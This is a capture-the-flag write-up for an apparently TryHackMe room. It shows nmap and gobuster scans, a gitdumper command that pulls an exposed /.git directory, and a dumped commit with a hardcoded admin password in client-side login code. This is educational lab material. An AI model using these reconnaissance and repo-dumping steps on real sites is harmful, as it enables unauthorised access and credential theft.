Git Happens

Git Happens

Boss wanted me to create a prototype, so here it is! We even used something called "version control" that made deploying this really easy!

writeup

--ran nmap scan and found open port 80
--ran gobuster and found /.git directory
--ran gitdumper with command to download repo:
./gitdumper.sh http://<IP-address>/.git/ /tryhackme/Git-Happens

--enter /.git direcory and run command git log
--find initial commit, all the way at bottom of output
commit 2f423697bf81fe5956684f66fb6fc6596a1903cc

--and just incase I noted the second since the description was "Made the login page, boss!"
commit 395e087334d613d5e423cdf8f7be27196a360459

--inspect first commit with command git show 2f423697bf81fe5956684f66fb6fc6596a1903cc, not much here but repo initialization and setup
--inspect second commit with git show 395e087334d613d5e423cdf8f7be27196a360459
--near the bottom of the output, you will see this script among the HTML code:

```
+    <script>
+      function login() {
+        let form = document.getElementById("login-form");
+        console.log(form.elements);
+        let username = form.elements["username"].value;
+        let password = form.elements["password"].value;
+        if (
+          username === "admin" &&
+          password === "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
+        ) {
+          document.cookie = "login=1";
+          window.location.href = "/dashboard.html";
+        } else {
+          document.getElementById("error").innerHTML =
+            "INVALID USERNAME OR PASSWORD!";
+        }
+      }
+    </script>
```

--as you can see the developer set the password at "Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!"
--login to the login form with credentials admin:Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!
--login form does nothing when I try to login, so I tried entering just the password for our flag and it was correct:

Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!

scans

------------------nmap-scan---------------------------

```
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-git:
|   10.10.231.192:80/.git/
|     Git repository found!
|_    Repository description: Unnamed repository; edit this file 'description' to name the...
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Super Awesome Site!

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

------------------buster-scan---------------------------

```
/.git/HEAD (Status: 200)
/css (Status: 301)
/index.html (Status: 200)
```

[Task 1] Capture the Flag

Can you find the password to the application?

#1
Find the Super Secret Password

Th1s_1s_4_L0ng_4nd_S3cur3_P4ssw0rd!